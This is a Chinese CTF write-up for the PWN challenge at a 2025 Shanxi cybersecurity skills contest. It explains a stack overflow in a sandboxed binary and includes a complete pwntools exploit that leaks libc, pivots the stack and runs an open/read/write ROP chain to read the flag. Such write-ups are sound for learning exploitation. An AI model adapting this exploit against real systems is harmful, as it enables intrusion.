当前位置: 首页 > news >正文

2025山西省网络安全职业技能大赛PWN方向题解

两个半小时的比赛,pwn方向只有一道题目
比赛现场 ida 坏了,没想着去做 pwn 题…
赛后发现挺简单的,64 位沙箱orw,侥幸拿下赛道第一……
赛题附件下载

给了 libc 、ld 和 elf 文件,先 patchelf

patchelf 过程中发现有沙箱,dump 一下规则

只可以用 orw

没开 PIE 和 canary

栈溢出先利用 puts 函数泄露 libc 基址

填充是0x20 + 8

再找一片有读写权限的空闲地址

libc 上面这片正好合适,为了防止栈增减,取中间位置rw_mem = libc.address - 0x1000

这里用来构建 ROP 链,然后在buf_addr = rw_mem + 0x100位置用于存读进来的 flag

在第二次传 payload 时先调用 read 将 orw 的 rop 链读进rw_mem,同时栈迁移过去,执行 orw 操作

from pwn import *
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])# gdb.attach(p, "b *0x4012F9\nc")
# pause()payload = 'a' * 0x20
payload += 'b' * 8
payload += p64(elf.search(asm('pop rdi; ret;'), executable=True).next())
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(0x4012F9) # main()
p.sendlineafter("hello sandbox!\n", payload)
libc.address = u64(p.recvuntil('\x7F')[-6:].ljust(8, '\x00')) - libc.sym['puts']
info("libc base: " + hex(libc.address))rw_mem = libc.address - 0x1000
buf_addr = rw_mem + 0x100payload = 'c' * 0x20
payload += p64(rw_mem - 8)
payload += p64(libc.search(asm('pop rdi; ret;'), executable=True).next())
payload += p64(0)
payload += p64(libc.search(asm('pop rsi; ret;'), executable=True).next())
payload += p64(rw_mem)
payload += p64(libc.search(asm('pop rdx; ret;'), executable=True).next())
payload += p64(0x108)
payload += p64(libc.sym['read'])
payload += p64(elf.search(asm('leave; ret;'), executable=True).next())# gdb.attach(p)
# pause()p.sendlineafter("hello sandbox!\n", payload)
sleep(1)rop = ''
rop += p64(libc.search(asm('pop rdi; ret;'), executable=True).next())
rop += p64(buf_addr)
rop += p64(libc.search(asm('pop rsi; ret;'), executable=True).next())
rop += p64(0)
rop += p64(libc.search(asm('pop rax; ret'), executable=True).next())
rop += p64(0x2)
rop += p64(libc.search(asm('syscall; ret;'), executable=True).next())rop += p64(libc.search(asm('pop rdi; ret;'), executable=True).next())
rop += p64(3)
rop += p64(libc.search(asm('pop rsi; ret;'), executable=True).next())
rop += p64(buf_addr)
rop += p64(libc.search(asm('pop rdx; ret'), executable=True).next())
rop += p64(0x100)
rop += p64(libc.search(asm('pop rax; ret'), executable=True).next())
rop += p64(0x0)
rop += p64(libc.search(asm('syscall; ret;'), executable=True).next())rop += p64(libc.search(asm('pop rdi; ret;'), executable=True).next())
rop += p64(1)
rop += p64(libc.search(asm('pop rsi; ret;'), executable=True).next())
rop += p64(buf_addr)
rop += p64(libc.search(asm('pop rdx; ret'), executable=True).next())
rop += p64(0x100)
rop += p64(libc.search(asm('pop rax; ret'), executable=True).next())
rop += p64(0x1)
rop += p64(libc.search(asm('syscall; ret;'), executable=True).next())rop = rop.ljust(0x100, '\x00')
rop += "./flag\x00"# gdb.attach(p)
# pause()
p.send(rop)p.interactive()

运行 exp.py

成功打印本地 flag


http://www.dtcms.com/a/582356.html

相关文章:

  • 郑州网站建设技术精粹一站式网站建设架构
  • 2025 年世界职业院校技能大赛机械设计与制造赛道备赛方案
  • 【2025软考高级架构师】——2024年11月架构真题解析
  • 基于HAL库实现看门狗喂狗实时时钟睡眠停止模式ADC采集w25qx写入读取
  • Linux系统编程——多线程编程(一)
  • 建设钓鱼网站源码网站seo优化心得
  • 关方网站买微信我们做网站 出教材 办育心经
  • python+django/flask基于深度学习的个性化携程美食数据推荐系统
  • VRRP虚拟路由冗余
  • 嵌入式软件OTA升级,有哪几种FLASH划分方式?
  • wordpress 投稿者 权限厦门做网站seo
  • 玩转Rust高级应用 如何避免对空指针做“解引用”操作,在C/C++ 里面就是未定义行为
  • 音视频处理(三):hls协议和m3u8详解和视频下载爬虫实战
  • Java面试全生态图谱(2025体系版)
  • 亳州做网站的公司公司品牌网站建设
  • 泉州网站公司wordpress 搜索乱码
  • SG-EIP-MOD-210(EtherNet/IP 转 Modbus 网关)
  • TDengine 字符串函数 CONCAT_WS 用户手册
  • SmartDV宣布其MIPI® SoundWire® I3S℠ 1.0 IP产品组合已向多家客户提供授权
  • 如何将本地文件上传至Github?【详细解释】
  • 酒店网站可以怎么做网站下雪代码
  • 【自然语言处理】预训练05:全局向量的词嵌入(GloVe)
  • 中国男女直接做的视频网站学做土建资料员的网站
  • Data engineering at Meta
  • 开创视觉方案新范式!INDEMIND四目空间智能方案让导航从追求“精准”迈向“智能协同”
  • 智慧引擎,零碳未来:安科瑞EMS3.0赋能省园区高效低碳转型
  • 在 UNS 中如何使用 Avro + Schema Registry 管理 MQTT 数据模型
  • AI辅助数据分析和学习了没?
  • 海东电子商务网站建设代做seo排名
  • 网站建设公司联系电话如何更新目录wordpress